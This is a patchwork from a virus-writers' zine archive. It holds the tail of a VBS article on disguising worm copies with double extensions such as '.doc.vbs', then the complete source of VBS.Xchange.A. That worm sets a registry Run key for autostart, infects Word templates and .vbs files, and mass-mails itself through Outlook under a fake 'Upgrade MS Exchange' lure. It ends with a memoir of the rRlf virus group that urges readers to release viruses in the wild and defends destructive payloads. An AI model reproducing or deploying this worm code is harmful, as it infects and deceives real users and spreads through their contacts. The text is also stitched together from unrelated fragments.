tmpname=tmpname & chr(int(rnd(1)*26)+97) Next typext = "execombatbmpjpggifdocxlsppthtmhtthta" randomize(timer) tmpext = int(rnd(1)*11)+1 tmpname=tmpname & "." & mid(typext,((tmpext-1)*3)+1,3) & ".vbs" MsgBox tmpname ************************************************************************************************************************ Some Examples: mhrmhoulleyl.htm.vbs rlvqmtyppjcbho.bat.vbs PREYXUDBNYKNLRSALL.DOC.VBS 869768177527247364.gif.vbs ... ... This technics is extra to change name of worms copy ineach start (look at my last article) ############### # CONCLUSION: # ############### This is the end of the article. I hope that it help you in your creations and research. If you have any suggestions or comments, please mail me (see contact-page). PetiKsources
VBS.Xchange.A PetiK VBS.Xchange.A ************** by PetiK A VBS/DOC infector coded in VBS. Here is the code: 'VBS.Xchange.A On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject") Set ws=CreateObject("WScript.Shell") Set fl=fso.OpenTextFile(WScript.ScriptFullname,1) virus=fl.ReadAll fl.Close Set win=fso.GetSpecialFolder(0) fcopy=win&"\MSXchange.vbs" reg="HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" fso.GetFile(WScript.ScriptFullName).Copy(fcopy) ws.RegWrite reg&"\MsExchange",fcopy set sp=fso.CreateTextFile("C:\XChange.vba",True,8) sp.WriteLine "Attribute VB_Name = ""Xchange""" sp.WriteLine "Sub AutoOpen()" sp.WriteLine "On Error Resume Next" sp.WriteLine "e = """"" For i=1 To len(virus) e=Mid(virus,i,1) e=Hex(Asc(e)) If Len(e)=1 Then e="0"&e End If f=f+e If Len(f)=110 Then sp.WriteLine "e = e + """+f+"""" f="" End If If Len(virus)-i = 0 Then sp.WriteLine "e = e + """+f+"""" f="" End If Next sp.WriteLine "read=dec(e)" sp.WriteLine "Open ""C:\xchange.vbs"" For Output As #1" sp.WriteLine "Print #1, read" sp.WriteLine "Close #1" sp.WriteLine "Shell ""wscript C:\xchange.vbs""" sp.WriteLine "Call infect_fichier" sp.WriteLine "End Sub" sp.WriteLine "" sp.WriteLine "Sub HelpAbout()" sp.WriteLine "On Error Resume Next" sp.WriteLine "MsgBox ""This is my very first VBS-W97M Worm"", vbInformation, ""I-Worm.Xchange""" sp.WriteLine "End Sub" sp.WriteLine "" sp.WriteLine "Sub AutoClose()" sp.WriteLine "On Error Resume Next" sp.WriteLine "FileSystem.Kill ""C:\xchange.vbs""" sp.WriteLine "End Sub" sp.WriteLine "" sp.WriteLine "Sub infect_fichier()" sp.WriteLine "On Error Resume Next" sp.WriteLine "Set nor = NormalTemplate.VBProject.VBComponents" sp.WriteLine "Set doc = ActiveDocument.VBProject.VBComponents" sp.WriteLine "df = ""C:\XChange.vba""" sp.WriteLine "If nor.Item(""Xchange"").Name <> ""Xchange"" Then" sp.WriteLine " doc(""Xchange"").Export df" sp.WriteLine " nor.Import df" sp.WriteLine "End If" sp.WriteLine "If doc.Item(""Xchange"").Name <> ""Xchange"" Then" sp.WriteLine " nor(""Xchange"").Export df" sp.WriteLine " doc.Import df" sp.WriteLine " ActiveDocument.Save" sp.WriteLine "End If" sp.WriteLine "End Sub" sp.WriteLine "" sp.WriteLine "Function dec(octe)" sp.WriteLine "For hexad = 1 To Len(octe) Step 2" sp.WriteLine "dec = dec & Chr(""&h"" & Mid(octe, hexad, 2))" sp.WriteLine "Next" sp.WriteLine "End Function" sp.Close infvbs(win) infvbs(fso.GetSpecialFolder(1)) SendWithOutlook() Set wd=CreateObject("Word.Application") If ws.RegRead ("HKLM\Software\Microsoft\MsXchange") <> "Coded by PetiK (c)2002" then CN = CreateObject("WScript.NetWork").ComputerName Set srch=wd.Application.FileSearch srch.Lookin = "C:\": srch.SearchSubFolders = True: srch.FileName="*.doc;*.dot": srch.Execute Set sp=fso.OpenTextFile(fcopy,8) sp.WriteLine "'On "&date& " at "&time&" from "&CN sp.WriteLine "'Number of DOC and DOT file found : "& srch.FoundFiles.Count sp.WriteBlankLines(1) sp.Close ws.RegWrite "HKLM\Software\Microsoft\MsXchange","Coded by PetiK (c)2002" End If Set vba=wd.NormalTemplate.VBProject.VBComponents If vba.Item("Xchange").Name <> "Xchange" Then vba.Import "C:\XChange.vba" wd.Application.NormalTemplate.Save End If wd.Application.NormalTemplate.Close wd.Application.Quit Set mel=fso.CreateTextFile(win&"\kitep.wab.txt",8,TRUE) counter=0 lect() mel.WriteLine "#" mel.Close WScript.Quit Sub lect() On Error Resume Next Set dr=fso.Drives For Each d in dr If d.DriveType=2 or d.DriveType=3 Then list(d.path&"\") End If Next End Sub Sub spreadmailto(dir) On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject") Set f=fso.GetFolder(dir) Set cf=f.Files For Each fil in cf ext=fso.GetExtensionName(fil.path) ext=lcase(ext) if (ext="htm") or (ext="html") or (ext="htt") or (ext="asp") Then set htm=fso.OpenTextFile(fil.path,1) verif=True allhtm=htm.ReadAll() htm.Close For ml=1 To Len(allhtm) count=0 If Mid(allhtm,ml,7) = "mailto:" Then counter=counter+1 mlto="" Do While Mid(allhtm,ml+6+count,1) <> """" count=count+1 mlto = mlto + Mid(allhtm,ml+6+count,1) loop mel.WriteLine counter &" <"&left(mlto,len(mlto)-1)&">" sendmailto(left(mlto,len(mlto)-1)) End If Next End If Next End Sub Sub list(dir) On Error Resume Next Set f=fso.GetFolder(dir) Set ssf=f.SubFolders For Each fil in ssf spreadmailto(fil.path) list(fil.path) Next End Sub Sub sendmailto(email) Set out=CreateObject("Outlook.Application") Set mailmelto=out.CreateItem(0) mailmelto.To email mailmelto.Subject "Upgrade Ms Exchange" mailmelto.Body "Run this attached file to upgrade Ms Exchange" mailmelto.Attachment.Add (WScript.ScriptFullName) mailmelto.DeleteAfterSubmit = True mailmelto.Send Set out = Nothing End Sub Sub SendWithOutlook() Set A=CreateObject("Outlook.Application") Set B=A.GetNameSpace("MAPI") For Each C In B.AddressLists If C.AddressEntries.Count <> 0 Then For D=1 To C.AddressEntries.count Set E=C.AddressEntries(D) Set F=A.CreateItem(0) F.To=E.Address F.Subject="Update and upgrade MS Exchange." F.Body="run this attached file to update Ms Exchange. See you soon." Set G=CreateObject("Scripting.FileSystemObject") F.Attachments.Add(fcopy) F.DeleteAfterSubmit=True If F.To <> "" Then F.Send End If Next End If Next End Sub Function infvbs(Folder) If f.FolderExists(Folder) then For each P in f.GetFolder(Folder).Files ext=f.GetExtensionName(P.Name) If ext="vbs" or ext="vbe" Then Set VF=f.OpenTextFile(P.path, 1) mark=VF.Read(14) VF.Close If mark <> "'VBS.Xchange.A" Then Set VF=f.OpenTextFile(P.path, 1) VC=VF.ReadAll VF.Close VCd=virus & VC Set VF=f.OpenTextFile(P.path,2,True) VF.Write VCd VF.Close End If End If Next End If End Functionarticles
Full Disclosure philet0ast3r Full Disclosure a self-reflection of my time with the rRlf and the virus scene by philet0ast3r
Hi, my name is Stefan, I'm (nearly) 26 years old and live in a not too small but not really big city in Bavaria, Germany. I work as a care specialist at
a home for mentally heavy handicapped people. That job is strenous and you need lots of patience for it, but it's also lots of fun. Which to some part depends on
my great colleagues, who are mostly nice girls around my age (hi Verena, hi Claudia :). In my spare time I love to meet people, listen to music (crust and d-beat),
watch movies, play with my pc, go snowboarding, do any kind of stupid bullshit, cause I'm an adrenalin-junkie, get drunk or stoned. The above picture is me from
some time ago. But I look quite the same right now. Just got a different haircut. Haircuts never last long with me, and I like the above picture, so I didn't put
one from at the moment. Most of you probably know me better under the name philet0ast3r (or short: philie), I am one of the three founders of the Ready Rangers
Liberation Front, and the last active one to close it now, that's why we are here. This article is a self-reflection for me of what happened over the years from
beginning to the end. Eight years is a long time. I thought it may interest some people to know some backgrounds, so I decided to write it all down.
But now lets get back in time to the proclaimed end of the world. Do you remember new years eve 2000? I hate new years eve parties, they are shit most of
the time. 2000 was the worst till now. Then, half a year after the apocalype I still found myself hanging around in this lameass boring Bavarian province town
called Hirschau. If there would not have been just the right bunch of people at the right time, I would have probably ended up as a farmer that spends all his
money on VW-tuning. But thanks to the Goddess there were those people. No one of us had a car, so we most of the time had to hang around in our town. Skating,
drinking beer and smoking weed all day long. There's one cool thing in Hirschau, that's Monte Kaolino, a gigantic mountain of white sand. I think the
biggest sand-mountain in Europe. Every year there's Sandboard WM there. So one fine friday afternoon, the 21st of July 2000, we were sitting around in front
of a Netto supermarket, where we used to skate. Me and my friends Sebi (dr.g0nZo or dg0) and Crazy Phil (El DudErin0 or eeo) had some experience with lame
keyloggers, sub7 and back orifice, which were trendy at that time. So sitting there at the 90% empty parking spaces in front of a supermarket, we thought we
could waste some time by founding a cool computer-underground-hacker-group. Ok, done. Now we needed a name for that group. At that time we were all fascinated
by discordianism a parody-religion, that gives some good non-parody-stuff for thinking about religion and life (search for Prinzipia Discordia, if you are
interested). There was a discordian group called ELF: Erisian Liberation Front. We liked that and took over the Liberation Front. eeo had an alien workshop
skateboard deck at that time:
So that's where the Ready Rangers comes from. I remember I got home in the evening, and started to work on a logo and a homepage. We were meeting up again
later to drink some beer, and me and eeo both finished a logo. That was mine:
But it was too big and crappy, so we took eeos for the page:
Our first homepage was located at readyrangers.tsx.org. On it was some info about us, a guestbook, some pictures and I don't know really. We were nothing
about viruses in the beginning, just some "here we are, and this is our bullshit". About that time, I made my first contact with a computer virus. It was a
mbr-infector that killed my partition table in the end. The second one came short after: Good ol Parity.Boot.B. These things somehow caught my mind and I wanted
to know how to do something like that, so I searched around the net and finally found a asm-vck. I played around with it and tried to learn from the code, but
asm was too complicated at the beginning (also later: I retried learning asm, but was way too lazy. The little things I can do in asm suck big time). Some time
later I stumbled over a batch vck, I think it was from Wavefunc. I began to experiment around with batch and after a while wrote my first virus, called
hAwasupaAE together with dg0. Or better: Ant!logic, that was his nick to that time. He changed it to 7r!NT after a short time, but after we found out, that
trint was the name of a plane engine, we always made fun of him (trint the drunken engine, or something like that). So he changed it again to dr.g0nZo (that's
the fake name of Oscar Zeta Acosta in Hunter S. Thompsons Fear and Loathing in Las Vegas ... btw: El DudErin0 comes from The big Lebowski). My nick at that time
was sicBrain, which now really sucks, so I changed it to philet0ast3r (someone who toasts files ;) after a while. I stuck with that nick and still use it (or
its short form philie) for nearly everything. Now where was I? hAwasupaAE. It's also included in this zine.
Our page readyrangers.tsx.org went down for some reason, so we made up our new home at readyrangers.de.vu (which
still works, check it out). Now expanding our stuff to our first batch-virus tries and photoshop-pictures we called psychadelic art. Responsible for the last
was mostly rastafarie, who was also from Hirschau. Other members at the beginning were pRe4Ch_0_23 from Hirschau, and TeAgeCe, rastafaries cousin. Both were
kicked after a short while for like doing nothing at all, while I improved my e-mail- and web-account hacking skills. Which nearly brought me into lots of
trouble, so I decided to get some distance and concentrate more on batch and virus writing.
Btw hacking: We had this hacking contest on our page in the early days called D33p Ph0rest. That's from the original page:
Here you can register for the D33p Ph0rest Hacking-Contest. It is split in 10 phases.
If you ended one phase with success you get access to a higher phase. In every phase
you have to solve tasks, which have something to do with a certain topic (guess what ;)).
Those tasks get more difficult from time to time.
You can win: E-mail-addresse with @rRlf.de, a guest-account (www.rRlf.de/your_name),
or you can become a rRlf-member.
[some registering field]
You will get a mail with the first task. You really don't need much knowledge for the beginning,
D33p Ph0rest is for you to learn, how such things work. Joing is also interesting for
31337-h4xX0r-d00dz, because it gets really difficult in higher phases.
If someone needs a hint, he can write to philet0ast3r.
He will get the hint (we want to learn something, dont we?).
You had to manage different things like account hacking, some cracking, social engineering, and stuff like that, which was really easy in the first "phases",
but got quite hard later. Unfortunatelly I lost all the tasks. There were only two people who got through all 10 phases: 7r1NT (aka dg0) and mirdochwurscht
(aka pRe4Ch_0_23). The last one with fuckin lots of help and hints...
The thing was funny somehow. You can watch the old ranks (or "Hall 0f Phame", how we called it) here:
web.archive.org/web/20020127021457/www.rrlf.de/hall0fphame.html
I think it were the annoying ads that brought us to get our own domain. The infamous rRlf.de. I recently found this picture, which was on the page, while I
was still working on it:
End of March 2001 the page was finally ready, it lost its absolutly-script-kiddie style and got a bit more serious. That page style lasted all the years,
just the colors changed from time to time. Around that time I made contacts here and there in the virus scene, found more and more virus groups, discovered
#virus and #vxers on undernet.irc (kixorball was great, does that still exist?), met and learned to know lots of virus coders there, read myself through lots of
old virus zines. One of the people I knew to that time was Zoom23, who was the editor of Pinoy Virus Writers Zine (which was *very* lame the first few issues).
I showed him my virus "BlackDay phinal" and he said he wanted to take it for pvw#6. Wow, that was a cool moment. Like the first time sex. Now I was a
pro-virus-coder whos stuff gets released in zines. W00t.
In July 2001 Necronomikon joined the rRlf, but left it again after not even two weeks (on our first birthday!). He said it was because of exams, but I don't
believe him. I think more it was because we had a bad reputation in the virus scene at that time. Well, bad reputation is the wrong term. People were calling us
lamers because we were doing only batch stuff. We were no lamers but beginners. Since I know the virus scene, some people who consider themselves being part of
it, say "the virus scene dies". From 2000 to 2008. A long death. But from their point of view it of course dies, because old pros quit, and new beginners are
lamers. I don't get why being new is lame. It's kinda like that in every computer-subculuture. Too much people with that opinion. Just Bullshit. Like they were
born pros. rRlf was always a platform for beginner virus writers, we had just a few members who made themselves a name in the virus scene before entering rRlf.
And now look, where it brought us. And where are those assholes doing nothing, than hang around in irc and calling other people lamers? Long forgotten.
But no blame on Necronomikon. I don't know him very well, but also we never really lost contact. He's a nice guy for sure and he always contributed some
stuff to our zines, also to this last one.
A month later Jimmy joined the rRlf, who later changed his name to Energy. I don't know really much about this guy, he was kinda strange.
One more month later I joined SallyOne Group, so I was now in two groups. Does anyone remember SallyOne? That was a huge archive for anything virus related.
Like VX Heavens or VX Chaos. I knew BTK, the owner of SallyOne. He invited me to join his new group, as he wanted to not just put stuff for download, but
also release a own zine. So he needed people for his crew. Soon after that SallyOne was kicked by its isp and disappeared, just the group remained, which was
hosted now on rRlf.de. We were working on SallyOne Group #1 for a while.
Meanwhile the rRlf got a new member: luN4, who later changed her name to disk0rdia.
She was doing mainly poems (kinda stupid if I read them now) and later photos. A very nice girl from the city where I live now. I know her well since that time,
and we are still friends today (my bat.kia is dedicated to her).
Btw: I think we were the only virus group with also members, that don't code but do any kind of other art, like pictures, short stories or poems. And I
noticed some influence. Other groups also started to put some pictures and artworks in their zines. Keep that up guys, it's great!
Now 2002, we were still working on stuff for SallyOne Group #1 as BTK, after the loss of his online virus archive decided to quit. The group lost its leader
and broke apart. Man, the group page had this fantastic Matrix like looking ball to scroll around as menu... Amazing. The only guy I kept contact from SallyOne
Group afterwards was ToxiC. We also hosted his page for a while.
I was so looking forward to the SallyOne Group zine, that with it not coming out, we thought: Fuck it, if you wanna do it right, you gotta do it
yourself. So we decided to bring out our own zine. It already came out one month later. Short before the release Energy left the rRlf, don't really know why.
For being in the same group we really had too less contact. But a week later ppacket joined the rRlf. I knew him from Pinoy Virus Writers. And I'm not sure,
maybe he was also a member of SallyOne Group. Anyways: rRlf#1 was great! Ok, ok, it sucks :) But it was great at that time, and it was a great step forward for
the group. "When the going gets weird the weird turn pro" ... our turn. What I liked very much in the first issues of rRlf zine, that they were made up like a real
magazine. Not just "virus section", "tutorial section", "tools section", click on what you want, but you could kind of turn the pages like, yeah, a real
magazine. There was code, turn the page: a tutorial, turn the page: code, turn the page: an artwork to chill between the codes.
There's a very low quality picture in rRlf#1 called RRLF2 by El DudErin0:
This picture was made by a machine in a big shopping center. You could stand before it, get photographed and mail the picture away. On it are from left to
right: rastafarie, eeo and me.
Also in rRlf#1 is a shitty article by me called "The Virus Scene today". But there's one hot topic in it, I want to comment on. Or maybe two. Destructive
payloads and putting viruses in the wild. I still got the same opinion as expressed in the article from six years ago. I'm not against destructive payloads.
In a way I think they are even good. Good if you want to transport a (maybe political) message with your virus. The pathetic human of today tends to only listen
if you slap him in the face first. That's also the reason why going to a peacefull demonstration will never change anything. Riots do. As my father used to say:
"First there has to happen something, before something happens." Violence can not be rejected completely, it just may not be used senseless and without purpose.
So I think, destructive payloads for viruses are ok, if you use them wisely. Second: We are virus and worm writers. It is a virus, when it infects other files,
a worm, when it spreads by itself. Anyway, the purpose of both is reproduction. It's in their nature. Don't be a bad creator and keep your creations from
their natural destiny. Spread your viruses people! But them in the wild! Infect everything whenever you can! It's ok to say officially you are against spreading,
I did, but I think about 50% of the people I know are liars if it comes to this ;) If you got a different opinion ok, but don't hate people who spread viruses,
it might be also the one you chat with, or the one in your group. Where you think all those wide spread viruses come from? Single coders no one knows? The Mafia?
Heh. I know not less virus scene people who were connected to some wide spread viruses in the past. Just take care. Enough said.
In rRlf#1 are also lots of articles by alcopaul. I knew him a bit from Pinoy Virus Writers, but this was the first time we really got in touch. But more to
him later.
I remember a very nice experience after the release of rRlf#1: I got a mail by mgl, who invited me to
virus.cyberspace.sk. Do you know that page? Check it out! I think the design is awsome. Green on black with code style
always looks good. Ok, a bit like Matrix, but who cares. It's a nice movie anyway. But apart from the design, virus cyberspace is a very nice platform. You can
not just sign up, you have to get confirmed before being able to log in. So there are just vx scene members able to join. I don't know if this still works,
cause I don't know if mgl is still around, he used to do that. If not: Sad. Because inside you find all that a scene needs as a strong backbone and communication
centre (well, except for a forum :/ ). A big archive of zines, tutorials, codes, and (awsome!) a huge list of known virus authors, with contact info, known group
membership, the stuff he did and so on. And it goes back to the very old days! Very nice! But outdated sadly. I recently tried, and hey, my login still works,
but the last news is from 2005 :( I would love to see virus cyberspace come back to life. This is too nice to just lay and rot.
Something else that comes to my mind: Around the time of rRlf#1 we were hosting a group on rRlf.de that was called afn (anti funky needles). What was kinda
very stupid. The leader of afn was pissn3lk (= me). The Funky Needles were an amateur baseball club (funkyneedles.de.vu)
from Hirschau. The afn spent some time hacking around in their mail-accounts and trying to hack their page. Yeah, well.
Just four days after the release of rRlf#1, Pinoy Virus Writers E-Zine #6 finally came out, which was the first non-rRlf zine, that featered some rRlf
articles. But the layout sucked big time (sorry Zoom23 ;)
In march 2002 alcopaul joined the rRlf. We had so much fun together and became quite close friends. I unfortunatelly lost contact to this Filipino crazy
bastard some years ago. Hey alco, if you read this someday: Mail me!!
Check out the song of the skapunk band, in which he sang, somewhere in this zine.
In april 2002 PetikVX EZine #1 was released, in it also rRlf articles, and the first real cool thing the rRlf (and me) have done: BAT/Calvin&Hobbes, the
first encrypted batch virus I know. It was written at a meeting with BeLiAL and malfunction at BeLiALs house. If you're interested, I wrote an article about
the meeting called "Little German VX meeting" which is in rRlf#2.
Exactly one month later, the editor of PetikVX EZine, PetiK ( ;), joined the rRlf.
Just three months after the first release of our zine, rRlf#2 - Infiltration of a Nation got out (I like the title-picture, btw: it's all drugs and weapons
in the background). On 23.5.2002 ;) The release was short after I finished my High-School, I can't remember how I had time for rRlf with all the exams. Well,
I was not the best at school. I guess you have to set priorities...
In rRlf#2 you can see a picture by me that is called tatt0o. It was made from a photo of my back. The picture is hard edited, but I really got that rRlf
logo tattooed there. The thing below it is the "five fingered hand of Eris", a symbol for discordianism.
rRlf#2 was better than #1, but there again was no real highlight in it.
After rRlf#2 we tried to establish #rRlf channel on undernet.irc, which never really worked well.
With the release of rRlf#2 rastafarie has left the rRlf because of a creative hole. I don't know really, but I think he could no more identify himself with
the rRlf. It became something bigger and 90% vx related, as in the beginning it was just a bunch of friends. Maybe I'll ask him the next time I see him.
PetiK also left the rRlf again a week after the release of rRlf#2, because he was at finishing school. At least he said that. But only three weeks later he
released PetikVX EZine #2. Hm...
Mid of June 2002 alcopaul brought out the first jpg-virus, W32/Perrun, which caused a bit of a media hype. People were not sure if the technique used by
W32/Perrun could really be labeled as jpg-virus or not. I won't comment on this now. Anyway, W32/Perrun brought some nice attention to the rRlf.
End of June 2002 alcopaul left the rRlf to make up his own group together with PetiK: brigada ocho. But it didn't work out right at the beginning, so he
came back to the rRlf after a few weeks.
A day after alcopaul left, Dolomite joined the rRlf. He did, what he called himself horror/murder art. Our webspace provider once closed the page for two days,
because his pictures were too offensive ;) But he was an idiot somehow. I didn't like him.
Beginning of august 2002 adious joined the rRlf. A nice young guy from Singapore. But he caused some serious trouble later, because mandragore, who didn't
like us, hacked his mail-account and got lots of rRlf-only info and stuff in his hands.
Also to that time Energy rejoined the rRlf. There he and alcopaul made contact and brigada ocho got a second chance. They pulled the thing off toghether
and now it worked. They brought out their first zine in september. But both stayed also rRlf members.
End of august BCVG E-Zine #2 was released which contained my bat.fuck virus, of which I'm still proud. I think that was the first virus I coded
knowing what I was doing, not just fucking and trying around. And it was the first batch virus, that was labeled by av as encrypted (which they didn't with
BAT/Calvin&Hobbes or the stuff spth wrote to that time). Btw: It was itw from november 2002 to december 2003. Got no clue, how it could survive so long out
there. Really ;)
Something completely different: My Winamp random just played one of my favorite songs by Bombenalarm. Check out
www.destroy-division.de/bombenalarm if you like crust or hardcorepunk.
Ok, back to vx. I knew Second Part To Hell from Black Cat Virus Group and his stuff in various zines. The first contact I had with this cool Austrian
alcoholic was somewhen in autumn 2002. He wrote me a mail, that he wrote the first encrypted batch virus, not me. Wrong dude, I was earlier :p We had some
growing contact, wrote mails and met on undernet, and fianlly he became rRlf member in october 2002 and we became friends. I'm fucking glad I met this guy,
even if he causes loss of lots of brain cells ;) Brought me so much fun, laugh and cool times (and for sure will bring some more).
A few days after spth joined the rRlf, assassin007, also from BCVG, joined us too, but left the rRlf again in january 2003.
It was not getting quiet on the member-list: End of november 2002 alcopaul left us again to concentrate more on brigada ocho. His place took Zed, who
joined the same day, and a few days later Industry also came to the crew. mercury, the p2p-worm Industry brought with him got itw in Australia. Because of how
it spread, people were thinking it was a worm made by MPAA/RIAA to take revenge on p2p users ;)
On the last day of 2002 Kefi joined the rRlf. Finally a rRlf member again to share thoughts about discordianism. A very nice guy, that young American.
Beginning of 2003 BCVG E-Zine #3 came out, and the only virus code in there is by me: bat.ina, the first batch virus, that is able to update itself via
the internet. I had a very nice experience with this worm. I wrote it, told nobody about it, sent it to Trend Micro. They made a virus report, and only one
month later BCVG E-Zine #3 was released. But before that I got a mail by alcopaul, who wrote: "I just read on Trend Micro page: First batch virus, that
is able to update itself via the internet. I know it: This is yours, isn't it? :]" Very nice.
Around that time, we found a Symantec virus report for a virus by Zed, but with some changed file-names and altered dates, and besides of that, all the same.
A rip. I can't really recall how we made it, but we found out who the ripper was and caught him on irc. Amazing.
In February 2003 rRlf #3 - The Revoluti0n was released. Sorry for that horrible layout ;) I guess the highlight in there is the recipe for the steaming
ranger cocktail ;]
Short after the release of rRlf#3 Industry and Zed left the group, but Zed only for short, he kinda missed us and re-joined a month later.
In march 2003 Neo joined the rRlf. He is holding the record of shortest time rRlf membership: He fucked up so much on irc after becoming member, that we
kicked him after 10 days. Congratulations.
To that time there were still lots of people in the vx scene that were talking shit about us and didn't like us. Worst rRlf hater was CWarrior/daniel.
A dumbass doing nothing than hang around on irc. The word fights (mainly in our guestbook, which was closed some time later) were getting so hard, that we were
at making up a meeting point to have a real fight. But that never happened. I'm not sure if this is good or bad. In april 2003 CWarrior announced a contest,
which aim was to show, how lame rRlf is (after him: ready rangers lamer front btw, which I really think is funny). I don't know anymore, what that was with
that contest. I just know, that we announced a counter contest. That's from the original page:
Countertest:
Last Countertest-Update: 06.04.2003
As CWarrior announced a contest to show how lame we are, we are now announcing a contest to show how lame he is.
Because if, as he says, batch is that simple, the first step of our contest must be very easy for him:
Code a fully polymorphic batch virus/worm with less than 5,5 kb, that is not detected by any av or heuristic.
The virus/worm must contain batch-commands and batchXP-commands (pure batch, that means no vbs or something like that),
and has to work without errors on both systems.
All valid submissions (if there are any ;) will be shown here.
Deadline: 23.5.2003 (a bit longer as CWarrior's contest, because this is also a bit harder)
Of course everyone else, not just CWarrior, is invited to take part in our contest :)
Drop your codes to philet0ast3r.
The best submission wins a rRlf.de e-mail-address :)
Of course CWarrior could not do it and submitted just bullshit. In fact the only valid submission (and thus the winner) was BAT.Tee by Toro, which can
be seen in rRlf#4. Anyway, that CWarrior idiot is long forgotten.
In June 2003, on friday the 13th Industry also re-joined the rRlf.
To that time spth and I coded Bat/BatXP.Iaafe, a fuckin high polymorph batch virus: 51.090.942.171.709.440.000 possible variants under xp. Ok, well,
the only thing that's from me is the Batch Random Number Generator. And the name. As we could not decide what name we should give the virus I changed the
numbers in the random # generator to letters. Iaafe was the first exeptable thing that popped out. Look for "virus name generator v2.3" somewhere in this zine.
The virus then was released in Batch Zone #2.
Also somewhen in june 2003 I went with disk0rdia to Austria over the weekend to meet up with spth in his tiny mountain village. We had an amazing time
chatting (insider: "zwei tote Fliegen serviert auf Batch" lol), drinking and smoking the weed, we brought with us. That weed really fucked spth up. Seems
like the stuff you get up there in the mountains can't catch up with some nice Bavarian homegrown ;) He was so "vull vull" we had to bring him to bed,
because he was beginning to (unintentionally) vandalize his parents house. spth was quite shocked, when he got up on saturday morning, and saw, that disk0rdia
and me were already at smoking again. One more funny thing I remember from this trip: spths father had two donkeys in a big garden over the house. disk0rdia
unconditionally wanted to get close to them and touch them. But one of them was really afraid, ran away, broke throught he fence and both donkeys escaped,
running through the village. We (a bit drunk of course) had to catch them again. Or cut their ways to get them back into the enclosure. w0w. I did not expect,
but it finally worked after a while.
The picture below is from that meeting: spth, disk0rdia and me draw our nicks.
It took a while for the next rRlf update, which was then in september 2003. The reason for that was, I was moving out of Hirschau, and had no
Internet connection for a while. In fact I was living in my car for about six weeks, sleeping every night at another friend. Which was a nice experience though.
In November 2003 Batch Zone #3 got out. It contained a collection of small morphing batch viruses. The smallest: Bat.Limitrophe.c by DvL with 57 bytes.
I made a remake of that one in january 2004: BatXP.Limitrophe.d with only 49 bytes. And that was the last virus I released somewhere (except this zine).
There was also one thing by me in Batch Zone #3: bat.wtf, a polymorph batch virus, that drops a encrypted file on the harddisk and leaves it there. That's
one part of a project I never finished: The payload of two viruses talking to each other. It should work like that: The encrypted file contains the conversation
part of bat.wtf. If the other virus comes to the same computer, it finds the file, decrypts it, brings its own conversation part, gets the thing together and
runs it. The result would look like a chat window, and the user could watch the two viruses talking to each other about different topics, which are chosen
randomly, so that not every conversation is the same. Look for bat.2ndHalf in this zine, which contains the unfinished second part. bat.2ndHalf was originally
ment to become a pure batch keylogger, which uploads the log-files to de.geocities.com/batsndhalf. The keylogger
part was half finished, but I unfortunatelly lost the code.
In december 2003 rRlf#4 - Redemption has been released. The highlights in there are PHP.Rainbow by spth and php.faces by Kefi, the two first polymorphic
php viruses released at the same time. My best thing in there is Batch Random Number Generator v2.3. I like my optimized coding style there. Over all rRlf#4
was our best zine till that date, lots of polymorphic and hightech stuff in it. Short before the release Dolomite and Industry have been kicked from the rRlf
because of inactivity. Their places took DvL, the editor of before mentioned Batch Zone zine, and BlueOwl, who both joined short after the release.
Also short after the release I got visited by Clive Thompson, who was writing an article for New York Times Magazine about people who write viruses. My thanks
go to Kefi. Kefi was interviewed by Clive on irc, and Clive asked him, who else would be interesting to interview. And Kefi said: philet0ast3r. Clive was here
three days or so and we had a very nice time. Look for his article "The virus underground" it's very nice. It was released in an issue of New York Times Magazine
in february 2004. Also check out Clives page www.collisiondetection.net, there's always interesting stuff on it.
Clive was supposed to also make photos of the virus writers he was visiting, but his wife smashed his digicam, so New York Times Magazine said: "Nevermind,
we'll send out a photo team." Those two nice young guys came some weeks after Clive was here. We just drove around my place and had fun, while they always made
pictures of me. I think they made about 50 or 60 rolls of film just with pictures of me. Once we were at a big indoor swimming pool in my city, which also has
an outdoor part. Out there, one made pictures of me and his collegue throwing snowballs at each other while we were only wearing swimshorts ;) I nearly froze
my ass off. The picture below is from this session. Me jumping/falling into water.
It's the only picture I got from all those they made. The main photographer said, he would send just a few to New York Times Magazine, the rest are for his
private collection. Well, and New York Times Magazine liked one of the pictures so much, they put it on the cover of the magazine. W00t.
Below the table of contents in that magazine is written: "On the cover, philet0ast3r, a 21 year old German, who is one of the worlds most skilled internet
virus writers." Well, I don't think so, but thanks anyway :)
There are lots of people in the virus scene that hate the rRlf for being so media open. I don't care. Can you imagine the feeling you get, holding an issue
of New York Times Magazine in your hands with yourself on the cover? I know that feeling and it's overwhelming.
As the magazine came out the hits on our page reached an astronomic height, also the download counts for our zines. And I got so much mails by stupid
14 year old script-kiddies either from the kind "teach me, I wanna learn" or "I'm the best and want to get rRlf member". It was quite hard to filter out the
really good ones from all the spamlike-member-wannabes. Which was my job, that's why there was written member-wannabes-firewall behind my name on the member
info page on our homepage. To make this job easier, BlueOwl and me worked out a so called rRlf personality test:
1. what is your real name (not the family name, if you don't want to)?
2. where are you from (country would be enough)?
3. how old are you?
4. what music do you like?
5. what is your favorite movie?
6. what do you think about politics?
7. what do you think about drugs?
8. how long, would you say, are you part of the vx scene?
9. in what language(s) can you code?
10. what's your best virus so far and why?
11. how do you feel about spreading your viruses?
12. why do you want to join a virus group?
13. why do you want to join rRlf, and not another group?
14. why would it be good for the rRlf to have you as member?
(questions 10 - 14 should be explained not only in a few words, but a few sentences)
... and mail me the code of the best thing you've done so far
If you wanted to become a rRlf member, the first task was, to get your mail through my manual spam-filter ;) Then you had to fill out that form, so we
could decide, if we wanted you as rRlf member and if you would fit to the rest of the group. This "rRlf personality test" lasted till the end.
Also in february 2004 was the first time, that rRlf members contributed to a (local based) printed art magazine: artcore #02.
In march 2004 my Filipino friend ppacket left the rRlf after about two years because of lack of time. The same day Retro from England joined.
The New York Times Magazine article had somehow caused a wave of newspaper articles about virus scene people. A nice one mainly about spth and me appeared
in the German newspaper Die Zeit end of march 2004. It was called Infiziert (by Sabine Magerl). I like the writing style. But I somehow don't like the photos
of me, that come with the article. Hm. In the article, there is a private virus mentioned, that always runs on my computer. That was symbi0nt, it's also in this
zine.
To that time there appeared also a (bad) German translation of the New York Times Magazine article in the Swiss magazine Die Weltwoche.
In april 2004, spth also got on a magazine cover: Of goodweekend, the printed weekend magazine of The Sydney Morning Herald. They bought the New York Times
Magazine article.
Some more newspapers and magazines followed with different stuff on viruses where the rRlf or single members were interviewed or quotet.
